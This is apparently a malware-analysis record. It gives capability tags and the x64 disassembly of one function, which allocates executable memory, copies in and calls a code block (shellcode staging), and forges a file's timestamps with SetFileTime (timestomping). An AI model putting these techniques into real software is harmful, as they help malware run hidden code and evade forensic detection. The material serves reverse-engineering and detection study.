Function at 0x140126260
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Timestomp file

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x230]
sub rsp, 0x330
mov rax, qword [0x1402000f0]
xor rax, rsp
mov qword [rbp + 0x220], rax
mov rbx, rdx
mov r14, rcx
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
lea rcx, [rbp + 0x268]
movabs rax, 0xff00ff00ff00ff00
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], rcx
mov r15, qword [rcx]
xor r15, rax
mov qword [rbp - 0x20], r15
xor r13d, r13d
mov qword [rcx], r13
xor sil, sil
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x110]
call fcn.1401a2520
lea r8d, [r13 + 1]
mov rdx, r14
lea rcx, [rbp + 0x110]
call fcn.1401576b0
nop
lea r12d, [r13 + 2]
cmp qword [rbp + 0x1a0], r13
je 0x140126473
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], r13
mov qword [rbp - 0x50], 0xf
mov byte [rbp - 0x68], sil
nop dword [rax]
mov rax, qword [rbp + 0x110]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx + 0x150]
mov rcx, qword [rax + 8]
mov qword [rbp - 0x78], rcx
mov rax, qword [rcx]
call qword [rax + VariantCopy]
nop
lea rcx, [rbp - 0x80]
call fcn.140161e00
mov rcx, qword [rax]
mov r8, qword [rcx + 0x40]
mov dl, 0xa
mov rcx, rax
call r8
movzx edi, al
mov rcx, qword [rbp - 0x78]
test rcx, rcx
je 0x140126382
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test rax, rax
je 0x140126382
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
movzx r8d, dil
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x110]
call fcn.14016b380
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
test byte [rdx + rax + 0x10], 6
jne 0x1401263e1
mov rax, qword [rbx + 0x10]
mov r9, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x1401263b5
mov r9, qword [rbx]
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rcx, qword [rbp - 0x68]
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov rdx, qword [rbp - 0x58]
call fcn.140164f10
cmp rax, 0xffffffffffffffff
je 0x140126320
mov sil, 1
lea rcx, [rbp + 0x120]
call fcn.14015d880
test rax, rax
jne 0x14012642f
mov rax, qword [rbp + 0x110]
movsxd rcx, dword [rax + 4]
mov eax, 6
cmp qword [rbp + rcx + 0x158], 0
cmovne eax, r12d
or eax, dword [rbp + rcx + 0x120]
and eax, 0x17
mov dword [rbp + rcx + 0x120], eax
mov edx, dword [rbp + rcx + 0x124]
and edx, eax
jne 0x1401268c8
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x14012646a
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140126465
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14012691b
call fcn.14019f9e0
test sil, sil
jne 0x140126594
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp]
call fcn.1401a2520
mov rdx, r14
cmp qword [r14 + 0x18], 0x10
jb 0x140126491
mov rdx, qword [r14]
mov r8d, 8
lea rcx, [rbp]
call fcn.1401568d0
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx], rdi
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 4], edx
cmp qword [rbp + 0x88], 0
je 0x14012652e
mov r8, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x1401264de
mov rbx, qword [rbx]
mov rdx, rbx
lea rcx, [rbp]
call fcn.14016bb00
mov rcx, rax
call fcn.1401631a0
lea rcx, [rbp + 8]
call fcn.14015d880
test rax, rax
jne 0x14012652e
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
mov eax, 6
cmp qword [rbp + rcx + 0x48], 0
cmovne eax, r12d
or eax, dword [rbp + rcx + 0x10]
and eax, 0x17
mov dword [rbp + rcx + 0x10], eax
mov edx, dword [rbp + rcx + 0x14]
and edx, eax
jne 0x140126921
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx], rdi
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 4], edx
lea rcx, [rbp + 8]
call fcn.140157600
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx], rax
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx - 4], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0xa8], rax
lea rcx, [rbp + 0xa8]
call fcn.14017f6e0
nop
mov dword [rsp + 0x40], 0x3e8
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
lea r12, [rbp + 0x268]
movabs rax, 0xff00ff00ff00ff00
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x70], r12
mov rbx, qword [r12]
xor rbx, rax
mov qword [rbp - 0x80], rbx
mov qword [r12], r13
mov ecx, r13d
lea rsi, [0x140162e30]
lea rdi, [0x140000000]
mov rax, qword [0x140205920]
test rax, rax
je 0x140126619
mov rdx, r13
nop dword [rax + rax]
cmp rax, rsi
je 0x140126608
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x205920]
test rax, rax
jne 0x1401265f0
jmp 0x140126619
mov r8, qword [rdi + rdx*8 + 0x206c90]
test r8, r8
jne 0x1401266ff
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140126640
mov r8, r13
jmp 0x1401266de
mov rax, rsi
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140126650
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140205f70]
mov qword [rdi + rax*8 + 0x205920], rsi
mov qword [rdi + rax*8 + 0x206c90], r8
inc rax
mov qword [0x140205f70], rax
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
movabs rdi, 0xff00ff00ff00ff00
xor rbx, rdi
mov qword [r12], rbx
mov rdx, r14
lea rcx, [rbp - 0x40]
call fcn.14011ed90
lea rcx, [rbp - 0x40]
cmp qword [rbp - 0x28], 8
cmovae rcx, qword [rbp - 0x40]
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1401267b1
mov dword [rsp + 0x70], 0x607e6
mov dword [rsp + 0x76], 0xe000c
mov dword [rsp + 0x7a], 0x20
mov word [rsp + 0x7e], r13w
lea rdx, [rbp - 0x48]
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea r9, [rbp - 0x48]
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x1401267f1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401267ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401268c2
call fcn.14019f9e0
movdqa xmm0, xmmword [0x1401ed1e0]
movdqu xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x40], r13w
mov rax, qword [rbp + 0x110]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x110], rax
mov rax, qword [rbp + 0x110]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x10c], edx
lea rcx, [rbp + 0x120]
call fcn.140157600
mov rax, qword [rbp + 0x110]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x110], rax
mov rax, qword [rbp + 0x110]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x10c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x1c0], rax
lea rcx, [rbp + 0x1c0]
call fcn.14017f6e0
nop
xor r15, rdi
lea rax, [rbp + 0x268]
mov qword [rax], r15
mov rcx, qword [rbp + 0x220]
xor rcx, rsp
call fcn.14019f9c0
mov rbx, qword [rsp + 0x380]
add rsp, 0x330
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1401afbd0
nop
test dl, 4
je 0x1401268d6
lea rbx, str.ios_base::badbit_set
jmp 0x1401268eb
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rbp - 0x80]
call fcn.140117ae0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x48]
call fcn.1401194f0
lea rdx, [0x1401fe038]
lea rcx, [rsp + 0x48]
call fcn.1401a1d7c
nop
call fcn.1401afbd0
nop
test dl, 4
je 0x14012692f
lea rbx, str.ios_base::badbit_set
jmp 0x140126944
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rbp - 0x80]
call fcn.140117ae0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x48]
call fcn.1401194f0
lea rdx, [0x1401fe038]
lea rcx, [rsp + 0x48]
call fcn.1401a1d7c
int3